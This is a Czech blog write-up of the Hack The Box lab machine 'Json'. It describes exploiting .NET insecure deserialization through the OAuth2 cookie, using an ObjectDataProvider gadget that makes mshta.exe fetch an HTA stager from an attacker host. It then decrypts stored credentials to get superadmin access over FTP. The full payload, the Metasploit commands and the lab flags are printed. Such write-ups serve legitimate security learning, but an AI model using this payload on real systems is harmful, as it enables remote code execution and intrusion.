tom@home.htb:~$

Blog o HTB

9 December 2020

Json

Úvod a kontext

Json je .NET webová aplikace, kde se první foothold opírá o nebezpečnou deserializaci přes cookie OAuth2. Frontend v Angularu ukládá token do cookie, backend ho slepě zpracuje a dovolí vytvořit gadget ObjectDataProvider, který spustí libovolný proces na serveru.

Druhá část řetězce pak není o dalším exploitu, ale o čtení lokálních tajemství. Jakmile je k dispozici shell, soubory aplikace vydají SecurityKey a zašifrované hodnoty pro plánovanou úlohu. Ty se dají lokálně dešifrovat na superadmin:funnyhtb, což už vede k finálnímu přístupu.

Počáteční průzkum

IIS, FTP a .NET aplikace

Na prvním pohledu nejsou na stroji jen webové porty, ale i FTP a WinRM. To je důležité, protože pokud aplikace někde ukrývá přihlašovací údaje, velmi pravděpodobně je půjde použít i mimo webovou vrstvu.

nmap -p 1-65535 -T4 -A -sC -v $IP
21/tcp    open  ftp          FileZilla ftpd
80/tcp    open  http         Microsoft IIS httpd 8.5
445/tcp   open  microsoft-ds Microsoft Windows Server 2008 R2 - 2012
5985/tcp  open  http         Microsoft HTTPAPI httpd 2.0

Co prozradí JavaScript frontendu

V klientském JavaScriptu je důležitá jedna věc: aplikace bere hodnotu cookie OAuth2, posílá ji jako Bearer token a bez ní přesměruje uživatele na login. To znamená, že pokud backend token zpracovává nebezpečně, lze útok vést přímo přes cookie bez legitimního přihlášení.

angular.module('json', ['ngCookies'])

var getOAuth = $cookies.get('OAuth2');
if (getOAuth) {
    $http.get('/api/Account/', {
        headers: { "Bearer": getOAuth }
    })
}

Analýza zjištění

Insecure deserialization přes ObjectDataProvider

Backend akceptuje JSON s $type, takže dává smysl otestovat klasický .NET gadget System.Windows.Data.ObjectDataProvider. Ten dovolí vytvořit objekt procesu a zavolat metodu Start, tedy spustit cmd, ping nebo přímo mshta.exe s HTA payloadem.

{
    '$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
    'MethodName':'Start',
    'MethodParameters':{
        '$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
        '$values':['mshta.exe','http://10.10.15.253:8080/Ok9xixLTXt8zR1.hta']
    },
    'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}

Jakmile se tento objekt base64 zakóduje a uloží do cookie OAuth2, server payload zpracuje a mshta.exe stáhne útočníkův HTA stager.

Získání přístupu

Praktický krok je tedy jednoduchý: vystavit HTA server, nastavit cookie OAuth2 na připravený base64 payload a otevřít web. Výsledkem je první shell v kontextu webové aplikace.

use exploit/windows/misc/hta_server
set srvhost 10.10.15.253
set lhost 10.10.15.253
exploit

http://10.10.10.158/

more user.txt
34459a01f50050dc410db09bfb9f52bb

userscredentials.json a plánovaná úloha

Po footholdu je nejdůležitější číst aplikační soubory. userscredentials.json sice obsahuje další účty a hashe, ale ještě cennější je konfigurace plánované úlohy, kde leží SecurityKey a dvě zašifrované hodnoty user a password.

more S*g
<add key="user" value="4as8gqENn26uTs9srvQLyg=="/>
<add key="password" value="oQ5iORgUrswNRsJKH9VaCw=="/>
<add key="SecurityKey" value="_5TL#+GWWFv6pfT3!GXw7D86pkRRTv+$$tk^cL5hdU%"/>

Malý C# snippet se stejnou dešifrovací rutinou vrátí superadmin:funnyhtb.

Console.WriteLine(Decrypt("4as8gqENn26uTs9srvQLyg==", true)+":"+Decrypt("oQ5iORgUrswNRsJKH9VaCw==", true));
superadmin:funnyhtb

Eskalace oprávnění

superadmin a finální přístup

Jakmile jsou známy přihlašovací údaje superadmin:funnyhtb, je možné je použít proti několika službám. V nejkratší zachycené cestě stačí přihlášení na FTP a stažení root.txt.

ftp 10.10.10.158
superadmin:funnyhtb
get root.txt
cat root.txt
3cc85d1bed2ee84af4074101b991d441

Shrnutí klíčových poznatků

Co si odnést do praxe

tags: windows - rce - smb - winrm - exploit